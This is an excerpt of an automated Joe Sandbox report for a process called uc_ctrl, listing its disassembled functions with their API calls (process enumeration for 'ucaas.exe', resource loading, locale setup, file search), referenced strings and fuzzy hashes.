Source File: 00000010.00000002.3908833018.0000000000771000.00000020.00000001.01000000.00000009.sdmp, Offset: 00770000, based on PE: true

Associated: 00000010.00000002.3908699077.0000000000770000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3908989197.000000000077A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909087647.0000000000781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909199971.0000000000782000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_770000_uc_ctrl.jbxd

Similarity

API ID: Process32$CreateFindFirstHeapNextProcessResourceSnapshotToolhelp32_wcslwr_swcsstr
String ID: ucaas.exe
API String ID: 646775109-2257421106
Opcode ID: eb18fe548820c10b4fcae6502430a5a0f639e97a277715acfbe4802c72a24237
Instruction ID: 37f588d2f5bea1cc3c74484e99c1d42dca1469b70ba54b45b7cb1f40d42dad98
Opcode Fuzzy Hash: eb18fe548820c10b4fcae6502430a5a0f639e97a277715acfbe4802c72a24237
Instruction Fuzzy Hash: B861A371900609DBDF10DF68CC49BAEB7B8EF44351F1482A9E84DA7291EB789A44CF51

Function 00776290 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

LoadResource.KERNEL32(00000000,00000000,00000001,00000000,?,p#w,00774D0C,p#w,?,00000000,00000000,p#w,00000000,?,00000000), ref: 0077629C
LockResource.KERNEL32(00000000,?,p#w,00774D0C,p#w,?,00000000,00000000,p#w,00000000,?,00000000,?,00774BE1,p#w), ref: 007762A7
SizeofResource.KERNEL32(00000000,00000000,?,p#w,00774D0C,p#w,?,00000000,00000000,p#w,00000000,?,00000000,?,00774BE1,p#w), ref: 007762B5

Strings

p#w, xrefs: 00776290

Memory Dump Source

Source File: 00000010.00000002.3908833018.0000000000771000.00000020.00000001.01000000.00000009.sdmp, Offset: 00770000, based on PE: true

Associated: 00000010.00000002.3908699077.0000000000770000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3908989197.000000000077A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909087647.0000000000781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909199971.0000000000782000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_770000_uc_ctrl.jbxd

Similarity

API ID: Resource$LoadLockSizeof
String ID: p#w
API String ID: 2853612939-3682083516
Opcode ID: 82966b837a45eaee3e5a46f0e236ef3d56730593ff818766b02b2a0cf47066e3
Instruction ID: 7212b98b98f4eee230534578dcc6ed488fcc61b42f613a4bb8d9586bc5a6c360
Opcode Fuzzy Hash: 82966b837a45eaee3e5a46f0e236ef3d56730593ff818766b02b2a0cf47066e3
Instruction Fuzzy Hash: 40F02236A00A21679F301A59AC4C87BB79CFBC23A5310893FE90DD311AF56DDC80C298

Function 6C94A720 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0(00000022,00000000,00000002,?,0000000B,?,6C94C43F,00000034,6C94B839,?,00000004,6C94B7F1,00000000,00000000,0000003C,6C94D869), ref: 6C94A734
__crtGetLocaleInfoEx.MSVCP140(?,?,0000000B,?,6C94C43F,00000034,6C94B839,?,00000004,6C94B7F1,00000000,00000000,0000003C,6C94D869,?), ref: 6C94A73D

Strings

2, xrefs: 6C94A758

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: InfoLocale___lc_locale_name_func__crt
String ID: 2
API String ID: 2625200093-450215437
Opcode ID: 4e5dd071565df4a0ee34eba670093d878fa44405a81d0ffce00288100bc8d742
Instruction ID: 3b605383db94140bae0fa90cf6188041886a577abb5c8eb233197a5c5d1bc0c9
Opcode Fuzzy Hash: 4e5dd071565df4a0ee34eba670093d878fa44405a81d0ffce00288100bc8d742
Instruction Fuzzy Hash: 03F0EC75D4520CBEEB01DBD49E85A9EB3BCE70175CF1081A5E50483141E7B1CF44D251

Function 6C936810 Relevance: 4.6, APIs: 3, Instructions: 90COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000), ref: 6C936877
_Read_dir.MSVCP140(?,00000000,?), ref: 6C9368BE
FindClose.KERNEL32(00000000), ref: 6C9368CE

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: Find$CloseFileFirstRead_dir
String ID:
API String ID: 922297604-0
Opcode ID: 918bd707cae4f1876f3f8deb00f11ab257089dacf184a28c5cb75a10b2d00576
Instruction ID: 6d418eee17393e4348a243e78d09baf8b759a26b005eda3554338a12b0684d4e
Opcode Fuzzy Hash: 918bd707cae4f1876f3f8deb00f11ab257089dacf184a28c5cb75a10b2d00576
Instruction Fuzzy Hash: 3F31A171608320DBD710DFA4C8449ABB3F9FB99318F004A6DF95987680D774E948C762

Function 6C7B6D47 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 6C7B6E3F
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 6C7B6E49
UnhandledExceptionFilter.KERNEL32(-00000327,?,?,?,?,?,00000000), ref: 6C7B6E56

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: fa41fcc3816d7d04659801545ccf85e8e068005d30fe81bb2d4e9bf22861d439
Instruction ID: aee0ead2657c563262bf5e6e6d122c11caf76d66cd8a4a47d8247040ae56ef6e
Opcode Fuzzy Hash: fa41fcc3816d7d04659801545ccf85e8e068005d30fe81bb2d4e9bf22861d439
Instruction Fuzzy Hash: 6131B17590122CABCB61DF68D988BD9BBB8BF48314F5042EAE51CA7250E7709B858F44

Function 6C672940 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,?RemoveBindTabIndex@COptionUI@UiLib@@QAEXXZ,00000000,00000000), ref: 6C67294B

Strings

?RemoveBindTabIndex@COptionUI@UiLib@@QAEXXZ, xrefs: 6C672944

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: Message
String ID: ?RemoveBindTabIndex@COptionUI@UiLib@@QAEXXZ
API String ID: 2030045667-165758850
Opcode ID: d3905bfb9140014db2a9117e7958c02bd4a2b4535189c1657b7978222c6d97e5
Instruction ID: 65130252963d4ccd5defe9837946302addd161a96a29bfcc06a11f1aa68dfc3b
Opcode Fuzzy Hash: d3905bfb9140014db2a9117e7958c02bd4a2b4535189c1657b7978222c6d97e5
Instruction Fuzzy Hash: 40B01138388200EBEEF00BA08E0AF003330EB02B0AF2008F0F200A82C082F028208A0C

Function 00778CC5 Relevance: 1.6, APIs: 1, Instructions: 130COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00778CDE

Memory Dump Source

Source File: 00000010.00000002.3908833018.0000000000771000.00000020.00000001.01000000.00000009.sdmp, Offset: 00770000, based on PE: true

Associated: 00000010.00000002.3908699077.0000000000770000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3908989197.000000000077A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909087647.0000000000781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909199971.0000000000782000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_770000_uc_ctrl.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: f347b8d27d0b21923c52c31383f34ea1e041aa0d24317cd9f0bffed1cbf16b23
Instruction ID: ac7abc1b9005eae312575f2f941429f9314d17228b13cfeedc12be4a2c26e8aa
Opcode Fuzzy Hash: f347b8d27d0b21923c52c31383f34ea1e041aa0d24317cd9f0bffed1cbf16b23
Instruction Fuzzy Hash: 74419DB1A402048BDF64CF69DC896AEBBF8FB48354F24C56AD409EB290D7789D41CF51

Function 6C936CA0 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceExW.KERNEL32(?,?,?,?,6C925630,?), ref: 6C936D43

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: 200a2e23419e149b6cd686baede6625b0e00f4c1c7a1aedca1ee841b4a688ff5
Instruction ID: e86f25dc00fd76556749f848a1c678a48363e858cfbd507e0b53b504235519d6
Opcode Fuzzy Hash: 200a2e23419e149b6cd686baede6625b0e00f4c1c7a1aedca1ee841b4a688ff5
Instruction Fuzzy Hash: F531F6716083159FC704CF28C8419ABBBF4FF99314F50991DF9AA97690D770EA48CB92

Function 00779003 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000900F,00778825), ref: 00779008

Memory Dump Source

Source File: 00000010.00000002.3908833018.0000000000771000.00000020.00000001.01000000.00000009.sdmp, Offset: 00770000, based on PE: true

Associated: 00000010.00000002.3908699077.0000000000770000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3908989197.000000000077A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909087647.0000000000781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909199971.0000000000782000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_770000_uc_ctrl.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 779a946cb01d19b11d086657705a598985c76fcce483c5932d7bd4c6585d8fb9
Instruction ID: fe034a2ffbadef305a2ea8383a29b79155fddefafa82c8d681f6909314154834
Opcode Fuzzy Hash: 779a946cb01d19b11d086657705a598985c76fcce483c5932d7bd4c6585d8fb9
Instruction Fuzzy Hash:

Function 6C93E4AE Relevance: 108.9, APIs: 58, Strings: 4, Instructions: 437COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0(-00000001,00000002,?,00000000,?,6C948C7E,?,?,00000000), ref: 6C93E4CD
memcpy.VCRUNTIME140(00000000,?,00000000,00000001,0000003C,6C9496D5,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6C93E4E1
Concurrency::cancel_current_task.LIBCPMT(?,?,00000000), ref: 6C93E4EF

Part of subcall function 6C94DEF0: _CxxThrowException.VCRUNTIME140(?,6C963ABC), ref: 6C94DF07
Part of subcall function 6C94DEF0: std::bad_exception::bad_exception.LIBCMT ref: 6C94DF1C
Part of subcall function 6C94DEF0: _CxxThrowException.VCRUNTIME140(?,6C963CD4,?), ref: 6C94DF2A

__EH_prolog3.LIBCMT ref: 6C93E507
??0?$ctype@_W@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(?,?,00000010,?,?,00000000), ref: 6C93E543

Part of subcall function 6C933810: __EH_prolog3.LIBCMT ref: 6C933817
Part of subcall function 6C933810: ctype.LIBCPMT(?,00000004,6C9338A1,00000000,00000000,0000003C,6C93E0B3,00000001,?,00000000,?,00000000), ref: 6C933834

??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C93E71C

Part of subcall function 6C9497B8: __EH_prolog3.LIBCMT ref: 6C9497BF
Part of subcall function 6C9497B8: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E72A,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C9497CA
Part of subcall function 6C9497B8: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C9497E2
Part of subcall function 6C9497B8: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C949844

??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C93E76D

Part of subcall function 6C949851: __EH_prolog3.LIBCMT ref: 6C949858
Part of subcall function 6C949851: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E77B,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C949863
Part of subcall function 6C949851: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C94987B
Part of subcall function 6C949851: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C9498DD

??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C93E7BE

Part of subcall function 6C9498EA: __EH_prolog3.LIBCMT ref: 6C9498F1
Part of subcall function 6C9498EA: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E7CC), ref: 6C9498FC
Part of subcall function 6C9498EA: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C949914
Part of subcall function 6C9498EA: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C949976

Part of subcall function 6C948B2C: __EH_prolog3_catch.LIBCMT ref: 6C948B33
Part of subcall function 6C948B2C: _Getcvt.MSVCP140(?,00000034,6C9421F7,?,00000001,0000003C,6C9499D2,00000000), ref: 6C948B41
Part of subcall function 6C948B2C: localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0(?,00000034,6C9421F7,?,00000001,0000003C,6C9499D2,00000000), ref: 6C948B50

??Bid@locale@std@@QAEIXZ.MSVCP140(00000058,00000000), ref: 6C93E824
??Bid@locale@std@@QAEIXZ.MSVCP140(00000058,?), ref: 6C93E893
new.LIBCMT ref: 6C93E858

Part of subcall function 6C95A364: _callnewh.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A36C
Part of subcall function 6C95A364: Concurrency::cancel_current_task.LIBCPMT ref: 6C95A37C

??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C93E8A1
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000), ref: 6C93E8B2
new.LIBCMT ref: 6C93E8CB
??0?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(?,?), ref: 6C93E8E1
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?), ref: 6C93E8F1
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?), ref: 6C93E910
new.LIBCMT ref: 6C93E925
?_Init@?$time_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@IAEXABV_Locinfo@2@@Z.MSVCP140(?,00000010,6C9380E0,?,?,?,00000000,?,?,?,00000000,0000000C,6C938148,?,0000003F,?), ref: 6C93E941
??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000010,6C9380E0,?,?,?,00000000,?,?,?,00000000,0000000C,6C938148,?,0000003F,?), ref: 6C93E94B
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,00000010,6C9380E0,?,?,?,00000000,?,?,?,00000000,0000000C,6C938148,?), ref: 6C93E96A
new.LIBCMT ref: 6C93E97E
??0?$codecvt@_WDU_Mbstatet@@@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(?,00000000,00000010,6C9380E0,?,?,?,00000000,?,?,?,00000000,0000000C,6C938148,?,0000003F), ref: 6C93E994
??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000,00000010,6C9380E0,?,?,?,00000000,?,?,?,00000000,0000000C,6C938148,?,0000003F), ref: 6C93E9A4
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000), ref: 6C93E843

Part of subcall function 6C9381D0: __EH_prolog3.LIBCMT ref: 6C9381D7
Part of subcall function 6C9381D0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000008,6C94AB8A,00000000,00000000,00000000,0000000C,6C9380D5,?,?,?,00000000,0000000C,6C938148,?,0000003F,?), ref: 6C9381E0
Part of subcall function 6C9381D0: _realloc_base.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000004), ref: 6C938209
Part of subcall function 6C9381D0: Concurrency::cancel_current_task.LIBCPMT(?,00000004), ref: 6C938215
Part of subcall function 6C9381D0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,00000004), ref: 6C938288

??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,00000010,?,?,00000000), ref: 6C93E553

Part of subcall function 6C9318F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01058130,6C983E74,?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?), ref: 6C931900
Part of subcall function 6C9318F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6C93635B,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000), ref: 6C93191B

new.LIBCMT ref: 6C93E52F

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,?,?,00000000), ref: 6C93E561
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,00000010,?,?,00000000), ref: 6C93E572
new.LIBCMT ref: 6C93E58B
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,00000000), ref: 6C93E5A4
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,00000000), ref: 6C93E5B2
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,00000000), ref: 6C93E5C3
new.LIBCMT ref: 6C93E5DC
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,00000000), ref: 6C93E5F5
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,00000000), ref: 6C93E603
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,?,?,?,00000000), ref: 6C93E614
new.LIBCMT ref: 6C93E629
??Bid@locale@std@@QAEIXZ.MSVCP140(00000018,?,?,?,?,?,?,?,?,?,00000000), ref: 6C93E65A
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,00000000), ref: 6C93E668
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6C93E679
new.LIBCMT ref: 6C93E68E
_Getcoll.MSVCP140(?,?,?,?,?,?,?,?,00000000), ref: 6C93E6AD
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,00000000), ref: 6C93E6C1
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,00000000), ref: 6C93E6CF
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6C93E6E0
new.LIBCMT ref: 6C93E6F5
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C93E70E
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C93E72D
new.LIBCMT ref: 6C93E746
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C93E75F
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C93E77E
new.LIBCMT ref: 6C93E797
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C93E7B0
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000), ref: 6C93E7CF
new.LIBCMT ref: 6C93E7E8
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,00000010,6C9380E0,?,?,?,00000000,?,?,?,00000000,0000000C,6C938148,?), ref: 6C93E9C3

Strings

false, xrefs: 6C93E43E, 6C93E481, 6C93E4AE
&, xrefs: 6C93E8DA
+, xrefs: 6C93E98D
`, xrefs: 6C93E759

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: Bid@locale@std@@$Addfac@_Locimp@locale@std@@Locimp_V123@Vfacet@23@$H_prolog3$??1_Lockit@std@@_lock_locales$Concurrency::cancel_current_taskLocinfo@1@$ExceptionThrowU?$char_traits@_W@std@@@std@@@std@@$??0?$codecvt@_??0?$ctype@_??0?$time_get@_GetcollGetcvtH_prolog3_catchInit@?$time_put@_Locinfo@2@@Mbstatet@@@std@@V?$istreambuf_iterator@_V?$ostreambuf_iterator@_W@std@@_callnewh_realloc_basecallocctypelocaleconvmallocmemcpystd::bad_exception::bad_exception
String ID: &$+$`$false
API String ID: 918722702-3303322600
Opcode ID: 2613010c1ead02f9e221b2d15a98f12671efd03366f2f6828818e1d3b9ee9b18
Instruction ID: 54a7ea5509acbd293d95b6ce98b13a8e0f29232869b4c68baa52f72b63c0e4fc
Opcode Fuzzy Hash: 2613010c1ead02f9e221b2d15a98f12671efd03366f2f6828818e1d3b9ee9b18
Instruction Fuzzy Hash: B5D10471D013219FDB149BA899016EF76EDEFB2768F105419EC59ABB80DB30CD088BE5

Function 6C93E9E0 Relevance: 103.7, APIs: 58, Strings: 1, Instructions: 413COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C93E9E7
??0?$ctype@G@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(?,00000000,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C93EA23

Part of subcall function 6C933D20: __EH_prolog3.LIBCMT ref: 6C933D27
Part of subcall function 6C933D20: ctype.LIBCPMT(?,00000004,6C933DB1,00000000,00000000,0000003C,6C93D9BC,?,?,00000000,?,?,?,00000004), ref: 6C933D44

??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6C938148), ref: 6C93EBFC

Part of subcall function 6C949E53: __EH_prolog3.LIBCMT ref: 6C949E5A
Part of subcall function 6C949E53: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93EC0A,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C949E65
Part of subcall function 6C949E53: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C949E7D
Part of subcall function 6C949E53: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C949EDF

??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6C938148), ref: 6C93EC4D

Part of subcall function 6C949EEC: __EH_prolog3.LIBCMT ref: 6C949EF3
Part of subcall function 6C949EEC: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93EC5B,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C949EFE
Part of subcall function 6C949EEC: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C949F16
Part of subcall function 6C949EEC: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C949F78

??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6C938148), ref: 6C93EC9E

Part of subcall function 6C949F85: __EH_prolog3.LIBCMT ref: 6C949F8C
